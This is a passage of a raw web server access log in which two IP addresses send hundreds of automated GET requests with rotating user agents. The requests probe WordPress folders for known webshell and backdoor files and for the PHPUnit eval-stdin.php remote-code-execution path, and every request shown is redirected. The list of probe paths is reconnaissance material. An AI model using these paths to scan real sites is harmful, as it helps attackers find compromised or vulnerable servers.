OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /tong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-admin/css/colors/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-content/uploads/RansomWeb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-includes/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-includes/IXR/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /.well-known/pki-validation/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-includes/js/plupload/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-admin/css/colors/modern/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-includes/PHPMailer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /webshell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-uploads-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-ldd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /wp-includes/Text/Diff/Engine/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:38 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /.well-known/whizz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /wp-admin/maint/cpsc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /wp-includes/pomo/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /you.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:38 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /wp-admin/images/Mhbgf.php/wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /images/indexmat_crea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /wp-admin/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /wp-includes/sitemaps/providers/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:38 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /wp-includes/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /wp-admin/includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:38 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /wp-content/themes/hariko/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /wp-admin/includes/sidebart.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /wp-includes/fonts/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:38 -0400] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /wp-includes/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:39 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /wp-admin/maint/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /wp-includes/images/crystal/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:39 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /wp-includes/images/media/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /wp-admin/css/colors/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /wp-admin/includes/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /.well-known/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:39 -0400] "GET /load-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /wp-admin/images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /wp-includes/images/smilies/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:22:39 -0400] "GET /load-styles.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /wp-admin/css/colors/blue/ins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /wp-includes/js/codemirror/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:39 -0400] "GET /options-discussion.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /wp-admin/images/preg_class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /wp-includes/js/plupload/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /wp-content/themes/pridmag/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:39 -0400] "GET /options-general.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /images/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:39 -0400] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /wp-content/uploads/72.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /wp-admin/js/sheb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /files/editprofile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /FroggBaba.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /ioxi01.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /fai.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:40 -0400] "GET /options-permalink.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /wp-includes/Text/iman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /wp-includes/ID3/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /images/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:40 -0400] "GET /options-privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /wp-admin/css/colors/blue/ds.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /wp-includes/signin2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /wp-admin/maint/lol.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:40 -0400] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /wp-includes/menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET 